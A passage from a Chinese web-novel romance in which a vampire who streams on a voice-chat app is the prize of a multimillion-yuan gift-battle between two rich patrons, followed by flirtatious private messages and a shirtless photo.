[不过你一定要冷静啊粥哥,这个乘风破浪是缘来的老观众了,自带很多粉丝,他的关注度不比一个大主播少。小耳朵好像也很在意你的看法,如果你直接不同意或者把这个浪哥赶出去,如果被添油加醋一描述,恐怕以后没有人敢关注或者喜欢小耳朵了。] [我觉得小耳朵现在是真的挺喜欢直播这个事儿,认真和大家陪伴互动的,这个不是单纯用钱能代替的,粥哥三思啊三思。] 傅宴舟稍稍沉默了一下,继续用账号打字: [因为我也没听过。] 评论区立马: [喔喔喔不是吧!!小耳朵真的还没叫过粥哥宝宝吗?] [小耳朵不是粥哥的虚拟恋陪吗?] [很难想象他俩每天在私聊什么。民生国际社会新闻?] [这么纯洁吗?我怎么觉得更好磕了?] [请问好磕的点素?] [我们全程一手见证啊!!粥哥做为虚拟恋人没有什么特权,而是和我们一样每天蹲在直播间等小耳朵分享日常表演才艺,一个人在屏幕后面默默爱他。] [“在喧嚣盛大中将隐秘的爱意深藏”] [姐妹来来来笔给你你来写] 乘风破浪有点儿郁闷。 明明是他在麦上,怎么评论区又都在说这个榜一? 这群小主播小观众,到底懂不懂观众榜top3的含金量? 这个新人小主播如果有幸被他挖进他的固房,别说一个月一百万了,被富婆富哥看上聊高兴了一场一百万都有可能。 他本来也就是好奇出来看个乐,现在反而被这个房僵在这儿了。 “没叫过你,你也想听是吧?” “要不我刷两份儿礼物,让主播叫你一次叫我一次,当我请你了,交个朋友。” [呦吼,人还怪大方的嘞] [不是,这话怎么听起来这么奇怪啊。] [奇怪感+1] 银耳粥:[不用了。这样的称呼只能叫一个人,你觉得呢?] 乘风破浪:“……” 乘风破浪:“本来我不是这么觉得,你这么觉得那我也这么觉得呗。那这个人是你还是我啊?不会是让小耳朵自己选吧?” 乘风破浪听出来银耳粥不愿意松口的意思,语气里稍微有点儿轻蔑。 玩不起。 银耳粥:[咱俩的事不用推给主播。你说规则怎么玩。] “嚯,好大的口气啊哥哥。卡里余额够么?语音房这种地方没别的规则,就是拼礼物,榜一就是爹。” 银耳粥:[可以。] 乘风破浪似乎是不想欺负这个座驾只是“跑车”,账号粉丝1个,这半天连麦都不敢上的老年人,无奈地嗤笑了补充一句: “你确定啊,输了礼物不退,别到时候让主播用我刷得钱给你补退款。” [不至于不至于真的不至于] [浪哥你虽然牛但粥哥真的是有石粒的] [好久没见过浪浪打这么直白的pk了,前排观战!] 一个带着高等级前缀的主播进来在评论区发言。 [我说浪浪今天怎么不在房里,出来当散财童子了啊。] [我去,浪哥打pk了!我去给你摇人去。] 乘风破浪的确带进来很多人,这个PK的消息一出语音房直接又涌进来两万人。 实时在线人数达到了6万。 [跟着浪哥来的] [跟着浪哥来的] [新来的,这次pk是打什么啊?] [……宝宝。] [叫宝宝干啥啊?回答我一下啊。] [pk打得是宝宝。主播叫谁宝宝。] [就这也值得浪哥和这个榜一下场pk?] [我的妈呀,越有钱玩得越雅了是吗?] [这个榜一大哥等级不高,之前可能没打过这种pk吧?] [今天恐怕得下本了] [并不觉得。盲猜一个意思意思打打就结束了,很少有人能P过浪哥。] [尊嘟……浪哥好久不来这种语音房,一出来还打pk,6万人看着,怎么可能输啊。] [浪哥该不会想挖这个小主播来固房里吧] [不是吧,听了一会儿除了卖萌装傻什么都不会,我可不想和他一起播。] [浪哥也就是新鲜玩玩,肯定不会挖的放心吧。] [嗯哼,等会儿pk输了搞不好还得被他的榜一找麻烦嘞。] 宁尔看着事情朝着没有想到的方向发展了,一时间有点卡壳。 人类有一句话叫箭在弦上,不得不发。 舟先生的,也就快□□。 人越来越多,乘风破浪cue了春风帮忙主持pk,确定具体的规则。 乘风破浪:“对了,要不你限个时吧,免得直播间这么多人说我欺负人。” 银耳粥:[随意。] 乘风破浪嗤笑了一声:“随意?呵呵。” 春风趁空档赶紧抢过麦,可能从来没当过这么多观众的房主,他声音有些紧张: “没问题没问题,我也觉得限时pk更合理,还是常规时间,5分钟吧。我给二位大哥拉起来。你们要是中途有重要的事儿去忙退出也没问题啊。随时欢迎再来玩~” 二虎相争必有一伤,台阶先铺好了。 语音房的上方很快出现了红蓝两个长度相等的对抗进度条,1v1。 上面是5:00整的倒计时。 “哎,也别光看我俩打pk啊,你们继续上才艺,别就把我俩当猴看。” “浪哥放心,这个早就准备好了,你们打你们的,我们和小耳朵玩快问快答!” 5号流浪小皮脑子最活跃,早就想好了最有效果的整活方法。 快问快答。 不许说谎,可以不答。 一边是两位大哥限时pk,一边儿是正主主播回答真心话。 太刺激了。 就是够观众忙得了。 春风赞同了流浪小皮的提议,宁尔还从来没有在语音房玩过快问快答,也开麦说可以。 春风:“好,准备——” “三、二、一、开始!” 乘风破浪为亲亲小耳朵送出嘉年华x20。 6万。 银耳粥为亲亲小耳朵送出嘉年华x40。 翻了个倍。 倒计时还没下去十秒,几乎在看到乘风破浪送出什么礼物之后,银耳粥就跟了一个双倍。 流浪小皮:“问,小耳朵初吻是什么时候?” 亲亲小耳朵:“初、初吻,没有初吻过。” 乘风破浪为亲亲小耳朵送出嘉年华x40。 12万。 银耳粥为亲亲小耳朵送出嘉年华x80。 又是翻倍,24万。 流浪小皮:“小耳朵上次和别人拥抱是什么时候?” 宁尔一卡壳,脸有些红,简单思考了一下: “大、大概半、半个月前。” 流浪小皮:“半个月前?那不是已经在缘来直播了吗……” 流浪小皮有点诧异亲亲小耳朵怎么能说出这么个答案,转念一想,立马惊地张了张嘴。 难道、难道和他拥抱的人是粥哥? 果然,评论区已经都在猜测这个问题,弹幕过得连看都看不清。 流浪小皮精通于拿捏观众,故意不继续问这个问题,反倒问: “上次拥抱的感觉是什么样的?” 乘风破浪为亲亲小耳朵送出嘉年华x80。 银耳粥为亲亲小耳朵送出嘉年华x160。 宁尔脸更红了一点,当着7万人的语音房,看着自己跳动的麦,回忆着那天的感觉。 其实甚至不用怎么努力回忆。 那是他第一次和人类拥抱,那种感觉哪怕过去半个月,仍会在某个夜梦时分在身体脑子里流窜。 亲亲小耳朵:“拥抱的感觉是……烫烫的、香香的、硬硬的、紧紧的……” 春风与你皆过客:“我靠你在说什么小耳朵你要给我语音房干封号啊!!!” “啊……不是,那、那……” 宁尔脸躺了起来,不敢再说叠字,又想了想说道: “拥抱的感觉,是止疼。” “拥抱前身体很疼、很冷。被、被抱在怀里之后,肚子就不疼了。” 亲亲小耳朵软糯黏糊的声音从麦里传来,同时传到7万观众的耳朵里。 傻瓜。 傅宴舟往耳朵里按按了耳机,嘴角是抑制不住的上扬。 流浪小皮:“哎?肚子疼、肚子疼……怎么感觉这个事儿这么耳熟呢。” 宁尔这才惊觉自己好像又暴露了什么,赶紧咳咳咳咳咳试图转移注意力。 银耳粥为亲亲小耳朵送出嘉年华x320。 乘风破浪为亲亲小耳朵送出嘉年华x160。 几乎同时出现的两道礼物特效,银耳粥甚至预判了翻倍。 48万! 96万! [我的天呐] [受不了了我能先不听快问快答了吗对不起小耳朵] [这数字实在太大了我移不开眼啊] [这也太刺激了] [我还从来没见过这样的Pk啊,这也太明显了吧……] [我仿佛听到了钱砸下来的声音] 以往的1v1pk,别管最后那一下顶多高,前面绝对没有以成倍的速度叠涨的。 银耳粥每一次的数字都是翻着乘风破浪的倍打,并且从第一次就占据了主导地位,短短3分钟就从3万变成了几乎,火药味儿十足。 他们甚至不用计算钱,而是在这三分钟里悄然构建了一个翻倍的规则,只需要比下一次数字有没有递增就能判断出强弱了。 要知道,320这个数并不是累积的,而是每一次都重新来过,实打实的近乎百万。 时间越往后,乘风破浪出手的时间间隔越长。 流浪小皮:“插一个举手很久的观众宝宝问题哈,小耳朵以前谈过几段恋爱?” “0。我是0。” 流浪小皮:“不是,问你谈过几段恋爱,没问你是1是0。” “我说得就是恋爱,0段。” “……” “没谈过恋爱,没接过吻,但和人拥抱过是吗?”流浪小皮的语气故意带着暧昧的欠兮兮。 亲亲小耳朵:“……嗯。” 流浪小皮:“好那我接着问。” “除了拥抱,你还想和那个人做什么?” 一边是舟先生那边上百万的礼物,一边是小皮这难以启齿的问题,宁尔夹在中间脸烫得厉害: “我、我……” “快答快答,真实想法不许撒谎。” [那个人到底是不是舟先生啊来个人回答一下啊] [啊啊啊刚刚那个问题是什么啊!!看pk没听到] [我也没有我也没有!!我要晕死了] [又得猜小耳朵和谁拥抱的,又得算pk礼物多少钱,谁来管管呢我请问] [流浪小皮到底是怎么想到这个馊主意的啊?!] [缘来语音房必杀榜第一名] [主包啥时候线下见面我应援棒充好电了] [能忍住不看礼物听小耳朵的都是纯爱战神] 亲亲小耳朵:“如果还有机会见到他,我想看看他的眼睛。” 宁尔也想看看舟先生的眼睛,是不是像那夜的星星一样明亮。 流浪小皮:“撒谎。好好说。” “我、我没有撒谎。” “绝对有,或者说,你内心深处最想做的事、控制不住想做的事。” 宁尔一惊,瞬间睁大眼睛看着流浪小皮的头像。 难道他发现自己吸血鬼的身份了? “我想……” 乘风破浪为亲亲小耳朵送出嘉年华x10。 怎么还变成初始数值了? 他认输了? [哇……好像嗅到了一丝结果的味道] [粥哥这个气势大有一路翻倍跟到底的可能] [我愿称之为浪哥折腰局] [哈哈哈可以理解,主要是赌注没啥意思,一句宝宝大几百万搭进去才有病。] [楼上你才有病] 这个人一句话骂了两个大哥,立马被两家粉丝群攻。 [不会还有人认为这场pk打得只是那句宝宝那么简单吧?] [这已经是男人之间的面子对决了] [粥老板今天要是赢了浪哥,那直接花小钱办大事儿啊。别管等级多少总共花了多少,直接一战成名。] [这不是还有50多秒呢,唱什么衰?] [没打过pk总打过游戏吧?偷塔懂不懂?最后十秒才是定胜负的懂不懂?] [就是就是,翻倍是银耳粥先开始的,浪哥凭什么跟着他的潜规则来?] [都别担心了,浪哥玩直播多久了,他打pk有自己策略的。我把话放这儿,最后5秒包翻盘的。] [刚刚忘记加一个输了的惩罚了] [7万人这种局输了丢面子对大哥们来说已经是最残酷的惩罚了] [呵呵呵,别高兴太早,想最后一秒翻也得把前面那一百多万先补上。] 时间来到最后30秒,乘风破浪没打,银耳粥就也没跟。 整个语音房的注意力回到小耳朵的回答上,就听他说: “如果有机会再见面,我想、我想……吃他。” 流浪小皮在麦里发出了尖锐的爆鸣声。 “啊——这是可以直说的吗小耳朵!!你怎么永远不鸣则已一鸣惊人啊!” 宁尔红着脸蹙眉,他感觉小皮好像想歪了,赶紧解释: “不是那样都吃了的小皮……就是,就是想先把脑袋凑到他的脖子处,然后蹭蹭他,等他放松注意后咬一口……” “停停停小耳朵!补要再把细节说出来了啊!” 春风与你皆过客:“小耳朵你说实话你是不是记仇故意报复哥让房封号呢?” [让他说让他说啊啊啊!!] [不知道小耳朵脸红没有,我听着都红了] [不知道为什么,没觉得色.情只觉得好可爱] [哈哈哈我也觉得,小耳朵好像真的是想“吃”一口啊。] 宁尔皱着小眉毛,脸烫烫地偷偷看评论区,他说的就是吃一口呀,吃一口舟先生诱人的血液呀…… 而且是吃脖子,也没有说吃嘴嘴…… 红蓝双方的进度条上乘风破浪那边被压了一大半,倒计时从20秒往下蹦。 他既没有喊停,也没有退出。 大概率是像评论区说得那样,准备最后的一个惊喜数字压倒性翻盘。 倒计时的跳动和一半的差距让场面变得更加刺激,观众榜top3的口碑,沉默寡言深不可测的新晋大哥,到底最后能砸出来多大的数字。 流浪小皮:“好了好了没时间了没时间了,最后一个问题……” 他可能也很激动,不知道是什么电流干预,麦里忽然传来了一声尖锐的鸣声,吵得宁尔下意识偏过头想把耳机摘了。 整个语音房的人都被结结实实吵了一下。 这一下又浪费了几秒钟,眼看倒计时只剩下了最后10秒钟,流浪小皮直接用最快的语速问道: “你喜欢和你拥抱的那个人吗?” “不是那种对语音房大哥送礼物的喜欢,不是感谢的喜欢,而是真心的喜欢?” 5秒,4秒、3秒、2秒—— 亲亲小耳朵:“我……” 红色的倒计时数字越来越苗条,直到最后简单的“1”,屏幕上同时炸出了两道根本分不清谁送的特效礼物。 2号看着这个数字惊叫出了声,也不知道亲亲小耳朵是没回答,还是回答了被他们的声音压过了,不过此刻的注意力已经都在最后的pk数字了。 代表蓝方的乘风破浪本来只差一半进度条,最后的礼物过后,进度条不仅变长,反而被银耳粥的红方压得只剩一个尾巴。 观众们一瞬间以为自己是不是眼花了。 乘风破浪为亲亲小耳朵送出了嘉年华x520。 足足300多万!!! 这样的价格还能被舟先生压倒,那对面是…… 银耳粥为亲亲小耳朵送出了嘉年华x1000。 有时候,语音房弹幕快速刷到一定程度,反而保持了一种相对静止。 大家的评论都被挤掉看不清,那就都不用看了。 麦上的几个主播尖叫过后,语音房陷入了一种诡异的、平衡的安静当中。 一条申请上麦的系统提示打破了这种平静。 银耳粥的头像出现在了原本乘风破浪的位置,他的头像仍是那轮夜色下的月光,头像边的小麦克风闪动了两下,一道温柔有磁性的声音从麦里传来: “宝宝,我赢了。”—— 作者有话说: 流浪小皮你知道你的提议让我写得有多困难吗?(抱着计算机敲键盘的为了霸总打工的狼狈桃某) 第34章 [还想看哥哥哪儿?]…… 沉默。 谁都没反应过来的沉默。 反应过来也仿佛被这道钻进耳朵的轻柔又稳重的“宝宝”击中的失神。 1号春风与你皆过客拍了拍亲亲小耳朵。 3号麦兜兜拍了拍亲亲小耳朵。 5号流浪小皮拍了拍亲亲小耳朵。 “宝宝, 是、是在叫我吗?”宁尔声音懵懵地出现在麦里。 舟先生轻笑了一声,温柔的磁性更加抓耳: “不然呢?” [啊啊啊啊我的妈呀我要疯了] [磕死我了磕死我了磕得我原地掐人中] [怎么有人能这么多金还这么温柔纯爱啊] [告诉我是剧本我都愿意吃] [所以粥哥今晚总共打了500多w……] 倒不是缘来没有这么大额的pk场,只不过都是任意pk, 也就是两个主播pk, 所有粉丝共同砸出这个数额。 一个人500w赢下来的, 太罕见了。 [其实……浪哥砸得也不少了……] [没有人算浪哥砸了多少吗] [你记得第二个登上月球的人是谁吗?] 春风估计也惊地愣住了,等粥老板给他们剩下的四个人每人也刷了10个嘉年华“随麦礼”之后才接过话: “我、我宣布, 本场pk银耳粥粥哥获胜。按照刚才约定好的, 小耳朵可以叫粥哥宝宝了。” “啊、好……”宁尔被cue, 还没有从这个巨大的金额数字当中缓过神来, 舔了舔嘴唇, 看着舟先生的头像,打算献出他鬼生中第一次叫人宝宝。 “不用了。”舟先生打断他。 又是不用了! 舟先生好像真的不喜欢被他互动。 宁尔小脸一耷拉, 正准备委屈巴巴质问质问为什么,舟先生已经自己解释: “开场之前,赌约已经换成了有资格叫你‘宝宝’。” 春风与你皆过客:“哎粥哥你们啥时候换的我咋没听到?” 银耳粥:“。” [哈哈哈哈粥哥说换就是换了好吧] [春风哥超高情商发言了哈哈哈哈哈] [人有失策,马有失蹄,这次没拍到马屁上] 宁尔想起来刚才那句冷不丁地“宝宝”, 500多万的赌约,自己甚至都没太反应过来,就那样结束了吗…… 那句宝宝,是舟先生真的想那样叫自己,还是为了帮他解围? 宁尔心中有点儿高强度刺激过后的小小落寞, 说不清楚是什么感觉。 见宁尔和银耳粥都不说话了, 乘风破浪这才有机会开麦: “大哥你是真行啊。” 宁尔第一次从一个人的语气里听出了“灰头土脸”的感觉,脑子里自动浮现出一个浪哥被揍得蓬头垢面的样子,忍不住想捂嘴笑。 评论区也都是说他什么“折腰”、“常在河边站哪有不湿鞋”、“马失前蹄”、“长江后浪拍前浪, 前浪倒在沙滩上”的。 舟先生也没有借机挖苦他,而是依旧淡淡地嗯了一声。 “不是,其实我最后一下犹豫了,我本来想砸1000个的,但我怕逼你翻我的倍不好收场,才砸了500。” [哈哈哈哈浪哥我们信了] [马后炮这一块/.] [来个浪哥老粉说说浪哥真有这实力吗?] [实力是肯定有的,不过今天确实有点被压气势] [粥老板太恐怖了,不到三秒就翻倍跟,一点儿不带犹豫的。合理怀疑如果最后浪哥打出1000个他也会翻。] [人家两个你情我愿,搞不好前脚砸完后脚私底下退回去了,你们这些粉丝自我感动就算了,在这儿拉踩浪哥有意思么?] [这话说的,你家浪哥知道人家你情我愿还跑来逼人叫宝宝有意思么?] “行了行了都别吵了”浪哥长时间待在固房里,房里99%都是捧他臭脚的,很久没体会过被野房的观众当面蛐蛐的感觉了。 他语气变得有点委屈: “小耳朵,你看我砸了那么多礼物还输了,真是郁闷死了。” 他本来就声音年轻,语气又自然轻松还玩两句梗,的确像男大一样,所以现在败下阵来委屈嘟囔竟然一点儿都违和或者令人反感。 [妈耶,堂堂浪哥说话原来是这个画风吗~] [怎么感觉这个反差也有点可爱啊……] [撒娇男人最好命] [哈哈哈小耳朵快关心两句吧。] 宁尔确实从心里有点同情他。 浪哥的300多万,在很多语音房里都是天文数字了。 可偏偏他遇到了舟先生。 “浪哥,谢谢你的嘉年华,其实是我第一次收到这个礼物,看到这个特效,我很惊喜。” 宁尔认认真真一字一句对他道。 “不是吧?第一次收嘉年华啊?这碗粥以前连嘉年华都没舍得送过啊哈哈哈哈哈?” 乘风破浪立马又打起了精神。 “……” 宁尔觉得刚刚对他的同情都有些多余。 “是银耳粥,不是这碗粥。”他纠正乘风破浪。 “我管大米粥南瓜粥呢。小耳朵,你看我都砸这么多礼物也没抢到那句宝宝,你能不能给我点别的福利啊?” 宁尔之前查乱七八糟的网恋攻略,越查越知道“福利”两个字好像涩涩的,之前也有人直接一条私聊他问发不发果照福利。 “对不起浪哥,不、不可以的。” 亲亲小耳朵的语气弱小、可怜但透露着一种坚决。 “……” “那你刚刚不是给粉丝送了录制语音的名额,什么10000条,还剩1条,你把那个名额给我,给我录一段呗。” 亲亲小耳朵的语气这回更坚定了: “对不起浪哥,也不可以。那条是留给舟先生的。” [哈哈哈哈我服了小耳朵你别太实诚] [这孩子从小就轴吧] [你就多加一个名额呢小耳朵哈哈哈哈] [300万花了,宝宝没听到,10000份的录制名额都拿不到。小耳朵干得漂亮,谁让浪哥天天欺负主播,今天咱也是沾光扳回一局。] [乘风破浪以后见了小耳朵要绕着走了] [粥哥心里暗爽翻了吧哈哈哈哈] 乘风破浪:“……” 宁尔感觉乘风破浪可能的确无语了,过了一会儿才打起精神: “那咱俩加个好友互关一下,这个总行了吧?” 平时和宁尔互关的粉丝们也不少,这个不难。 “这个可以的,浪哥。” “我靠,真行。” 乘风破浪从珠穆朗玛峰峰顶开始给自己找台阶下,终于在山脚下安慰落地,一口血差点呕出来。 “我最近刚写完大学毕业论文很闲,平时每天也就健健身。不过最近体脂率已经完美了,就更闲了。有空时候来找你玩啊。” 乘风破浪话音刚落,就发现他和亲亲小耳朵点了互关成为好友之后,粉丝列表紧接着多了一个人。 乘风破浪:“不是,银耳粥,你关注我干什么?” 银耳粥:“买一赠一。”- pk结束,乘风破浪离开语音房,宁尔也切回了和舟先生的私人聊天。 宁尔看着余额后的那一长串0,心情一时间难以平复。 宁尔知道,对于人类世界的金钱,20块可以吃饱鸭血粉丝汤。 200块是一天的辛苦劳动成果。 3000块是最多最多的。3000块可以住很久房子,喝很多血包。 现在他名字旁的余额却有这么多0了。 对于人类来说,这个数字到底有多大呢? 他是想骗舟先生的钱,但是不是一不小心骗得有点多了呢? 宁尔心里忐忑想着,给舟先生发过去消息: [哥哥,今晚谢谢你~小耳朵从来没见过这么多钱,是不是,是不是有点太多了呢?] 银耳粥:[不多。] 春风告诉他别出手太狠把比赛杀死了,最好跟着打,给对方一点希望,最后一下压倒就可以,但也尽量不要相差太多。 傅宴舟本来在最后一刻账号里剩的是3000个嘉年华。 只不过乘风破浪没沉住气等到最后一秒,提前让他看到了数额。 最后一刻他把3改成了1。 亲亲小耳朵:[哥哥,那对于乘风破浪是不是有点太多了呢?他砸了那么多礼物还输了pk,会不会冲动过后来找小耳朵麻烦呀?] 亲亲小耳朵:[他那么年轻,可能也没有赚到像哥哥一样多的钱。] 小耳朵担心这个问题并不算杞人忧天。 直播间里呛起来pk上头了冲动砸钱,别说乘风破浪这种输了的,哪怕赢了,都有第二天后悔找主播麻烦,和平台打官司退款的。 银耳粥:[不用害怕。他的所在地也是A市。] 亲亲小耳朵:[是A市怎么啦哥哥?] 银耳粥:[能够在语音房总计花到那个数额的年轻人,大概率是从商富二代、三代。既然在A市有家族生意,就都好办。] 亲亲小耳朵:[好办是什么意思呀哥哥?] 银耳粥:[意思是,有我在,不会有你的麻烦。] 宁尔被这句类似情话的话说得心跳漏了一拍。 舟先生从不说大话。送胃药能做到,住酒店能做到,连看星星也能做到。 亲亲小耳朵:[星星眼/星星眼/哇!哥哥你真是,太有魅力啦!~~] 亲亲小耳朵:[哥哥我现在有点晕,可能不能及时回消息了。] 银耳粥:[怎么了?严重么?] 亲亲小耳朵:[被哥哥帅晕啦~~掐人中醒来之后又被幸福晕啦~] 银耳粥:[……] 宁尔不知道自己的土味小妙招有没有让舟先生扬起嘴角,反正他自己嘴角倒是扬得很高。 亲亲小耳朵:[哥哥,其实我不是不知道可以给浪哥录一个定制录音,可他偏偏要我给你留的那个,那个只能给你,是独一无二的。] 宁尔不知道舟先生今晚是从什么时候开始看语音房的,有没有听到这件事。 亲亲小耳朵:[他们都说有钱人是没有愿望的。] 银耳粥:[有。] 宁尔眼睛一亮,赶紧打字: [太好了哥哥!你可以告诉我是什么愿望,我第一个帮哥哥录~] 银耳粥:[不急,先录别人的吧。现在有更重要的事说。] [什么事呀哥哥?(你的小耳朵竖起了耳朵)] 傅宴舟莞尔,上扬的嘴角弧度不经意间变得有些危险: [你刚刚在语音房里说,如果有机会见到我,想看看我?] 亲亲小耳朵:[点头/点头/点头/] 刚刚快问快答的时候,宁尔说想看看舟先生的眼睛。 银耳粥:[一定得见面么?照片可以吗?] 舟先生愿意给他爆照??!! 那天舟先生没有接受见宁尔之后,他也问过元之为什么。 元之想了很多种可能,其中一种就是舟先生这样特别有钱的人,可能是某个社会上有头有脸的“知名人物”,不愿意被认出来,更不愿意被人知道是这种夜聊软件的用户。 舟先生现在竟然愿意爆照了吗! 自从那次和舟先生“拥抱”过,触碰过他的身体之后,宁尔就幻想过很多次舟先生的样子。 舟先生,他在人类世界的虚拟恋人,会是一个很帅的人类吗? 会比靳伟和医生哥哥还帅吗? 亲亲小耳朵:[照片当然也可以呀哥哥~] 亲亲小耳朵:[小耳朵好想看啊。] 宁尔说完之后心仿佛提起来了一样,在胸腔里砰砰砰跳着。他赶紧从椅子上下来,掀开床板爬进去,又小心翼翼盖上,调整到了自己最舒服的一个睡觉姿势。 宁尔按亮手机,手里牢牢握着,眼睛一刻都不敢眨地盯着屏幕,重重地咽了口口水。 亲亲小耳朵:[哥哥,发……] 他字还没打完,屏幕上赫然跳出了一张成年男性的上半身自拍。 照片上没有脑袋,只有男人穿着黑色衬衫,领口的扣子解开两颗,露出若隐若现的胸肌线条,腹部的衣服直接被一双骨节分明的大手掀起来攥着,露出一直延伸到小腹的线条。 比小麦色稍稍更浅一点的男性肤色,八块腹肌在灯光下投下深浅不一的阴影,人鱼线沿着紧实劲瘦的腹部,没入西裤的黑色磨砂金属扣。 紧绷的腹肌每一寸肌理都仿佛蕴藏着强烈的荷尔蒙力量。 看着这样完美的人类身材,出于雄性对比的本能,宁尔的脑子里冒出了自己在镜子里白皙纤瘦的腰。 脑子里的画面莫名其妙变成了这样的腰身压在他纤细的腰肢对比,宁尔被这个画面吓了一跳。 他脸烫得能煮熟鸡蛋,深深地咽了口口水,就看到舟先生发来消息: [其实和大四男学生差不多吧?] 亲亲小耳朵:[……啊,啊?] 银耳粥:[有些东西也不是越年轻越好。] 舟先生在嗦什么呀…… 眼睛、腹肌。 这两个词,听起来很像吗? 原来他人话说得这么不标准吗? 亲亲小耳朵:[哥哥,我……] 银耳粥:[怎么了?] 亲亲小耳朵:[其实我刚刚说得不是想看你的腹肌,我是说想看看……] 银耳粥:[还想看哥哥哪儿?]—— 作者有话说: 给傅总逼成卖的了哈哈哈哈哈哈。 第35章 pk腹肌你会输得更惨。…… [还想看哥哥哪儿。]。 舟先生!又欺负鬼! 宁尔鼻子痒得像是要有鼻血流出来, 屏幕上哪怕是小图,那张完美紧实的腹肌照也散发着强烈的荷尔蒙。 宁尔赶紧堵住自己的两只鼻孔。 如果成为第一个为人类流血的吸血鬼,他会丢死鬼的。 宁尔顶着发烫的脸, 伸出两截食指, 像是烫手一样在手机上戳戳: [哥哥, 你……] [嗯?] [我不知道大四男学生的这里是什么样子,但你的, 很好看。] 宁尔真心实意认真回答舟先生的问题。 [不用知道其他人的了。] [什么时候想看再找我。] …… 亲亲小耳朵:[哥哥, 你很大吗?] 宁尔问完之后舟先生沉默了一会儿。 [你是问?] 亲亲小耳朵:[年龄呀~哥哥以为呢?疑惑/疑惑/] 宁尔觉得, 舟先生忽然提到大四男学生, 好像是有些在意自己的年龄。 舟先生又沉默了一会儿: [还是问别的吧。] 果然是。 宁尔红着脸偷笑了一会儿, 打字安慰舟先生: [哥哥,其实你的年龄一点都不大。人类需要读很多很多书, 读小书、读中书、读大书。等到读完书之后才可以赚钱,赚小钱、赚中钱、赚大钱。哥哥现在已经可以赚到大钱了,年纪大一点也没关系。] 傅宴舟看着亲亲小耳朵这套“赚大钱=年纪大”的纯稚理论,有些无奈地苦笑了一下。 二十三岁掌舵盛景,二十八岁登顶A市富豪榜首, 国际同行业榜上有名的商业翘楚,身体素质常年保持在运动员水平,傅宴舟从未觉得,年龄对于他是什么难以掌控的坏事。 直到此刻,在少年面前。 亲亲小耳朵:[哥哥, 我再告诉你一个秘密。] 银耳粥:[嗯, 什么?] 亲亲小耳朵:[其实我认识很多年龄很大的……人,比你大很多很多,我和他们相处都很愉快。] 吸血鬼的平均寿命在保持青春的情况下持续300~500年, 哥哥的声音听起来最多也只是人类的三十多岁。 这在血族和宁尔一样,只是一个小豆丁的年龄。 直到人类正式走入寿命终结,宁尔仍会在极其缓慢的流逝下度过几百年光阴。 总有一天,他的年龄会超过舟先生…… 几百年后,他还会记得人类世界有一个和他有过这样关系的“哥哥”么? 亲亲小耳朵:[哥哥你相信吗?] 亲亲小耳朵从前打过那么多黑工,应该不乏给某些不正规养老机构当护工。 在工地扛过沙子,在菜市场数过鸭子,在冰冷漆黑的墓园做过夜间保安…… 傅宴舟心里就有种闷钝的心疼感,打开余额账户,又充了一笔钱进去。 舟先生没有回复的间隔里宁尔把那张腹肌照看了又看,直到觉得自己太过分了怎么能这样,才依依不舍给舟先生打字: [哥哥,是不是要休息啦?] 银耳粥:[嗯。] 然后舟先生发来一句三秒的语音。 宁尔把手机贴在耳朵上,舟先生清晰抓耳的磁性声音从话筒里传出来: “晚安,宝宝。” 宁尔脸上刚刚褪去的一点儿红晕再度燃起,是他刚刚在语音房里没有听清的那句宝宝。 这个在他心中与众不同的暧昧称呼,是叫他一个人的。 [哥哥,刚刚不是叫过……] 银耳粥:“我砸了500w,小耳朵真的只让我叫一声啊?” 亲亲小耳朵:[不是、不是……] 舟先生的语气中带着一丝早有预谋的笑意: “以后都这么叫了,可以吗?” “如果不可以,我按单句500w的价格每次支付。” “可以可以可以可以。” 宁尔被舟先生砸起钱来的疯劲吓到了,小鸡啄米一样按到语音上连续说了好几个可以。 “好。” “宝宝。” 舟先生的“宝宝”叫得似乎也并不熟练,不像元之那样的超级温柔气泡音,反而有些在生涩中有种缓慢的郑重和认真。 宁尔红着脸,自己在鼻子里轻轻哼出一个音,同时用文字敲回去: [嗯。] [舟先生]宁尔又发了一句。 [怎么了?] [那我还能看到你的眼睛吗?] 哪怕多半从一开始就是舟先生想给他看腹肌的理由,宁尔还是记得。 宁尔忐忑地等待了很久,可能舟先生的确为难,等得宁尔都差点睡着,对话框里弹出两条消息。 [我答应你。] [下次我们出现在对方身边,亲眼看彼此的眼睛。]- 宁尔又被舟先生带成了人类的作息,还没睡醒就被陈元之砸门声硬生生吵醒了。 宁尔打了个哈欠从掀开床板,又从床里爬出来,边给舟先生发消息: [早安吖哥哥~哥哥新的一天也要元气满满~] 宁尔打开门,陈元之直接把他推进房间里抓着肩膀疯狂摇晃: “800万礼物?!800万礼物?800万礼物啊啊啊啊!!!” 宁尔被他晃得差点吐血,眩晕之际仍然盯着手机,看到舟先生回过来那句[宝宝早安]之后,才心满意足闭上眼。 陈元之把他松开,宁尔晕得扶住墙: “元之,你说什么?” “什么说什么,昨晚整个缘来pk最大的一场,除了你那个粥先生之外还有一个叫乘风破浪的,800万的礼物额,现在昨晚的回放已经被官方各种快剪发到平台上了,除了月榜之外你还直接空降了礼物榜第一。” “你不会昨晚这种时时候又是挂机不在吧?” 陈元之一口气倒豆子说完,才发现宁尔那双漂亮的绿色眼睛里不知道什么时候染上了几分狡黠,不知道什么偷偷看着他笑。 也是,他能不知道吗。 “靠,你小子,学坏了啊。” 元之想进宁尔屋里坐会儿,但他的屋子实在是太漆黑潮湿,陈元之把宁尔拉到他和靳伟那边: “那个浪哥你怎么认识的?你打算怎么维护他?” 陈元之坐在电脑桌前,拿出纸笔,化身军师上线。 宁尔摇摇头:“我不认识他。他说是我因为我昨天答应了粉丝们10000条定制语音录制吸引了他,只是过来看看。” “夺少??10000条??你房主没拦你吗?” “你知不知道10000条你得录到什么时候?而且以后数量多了之后就不值钱了。” 宁尔吐了吐舌头,表示知道,但不改。 陈元之无奈地用手撑住脑袋,果然,傻人有傻福。 “我看你们赌的是一句‘宝宝’,他昨天输了之后你有私下叫他吗?” 这种pk其实都是表面一套实际一套,砸了那么多钱的大哥,哪怕面上输了,他提的要求主播私下都会满足。 能二选二,谁会二选一。 宁尔却诚实地摇摇头:“没有。” 陈元之:“……” 陈元之蹙起眉:“你得叫,这些都是私聊,粥先生哪会知道你叫没叫。你别看乘风破浪昨晚虽然输了,他在缘来砸得钱还是比那个粥先生多很多,多一个大哥你就更发了。” 宁尔倔强地摇摇头:“不叫。” 陈元之:“为什么?” 宁尔想了一下:“就、就是不叫。” 他赢了宁尔都不想叫,更何况是输了。 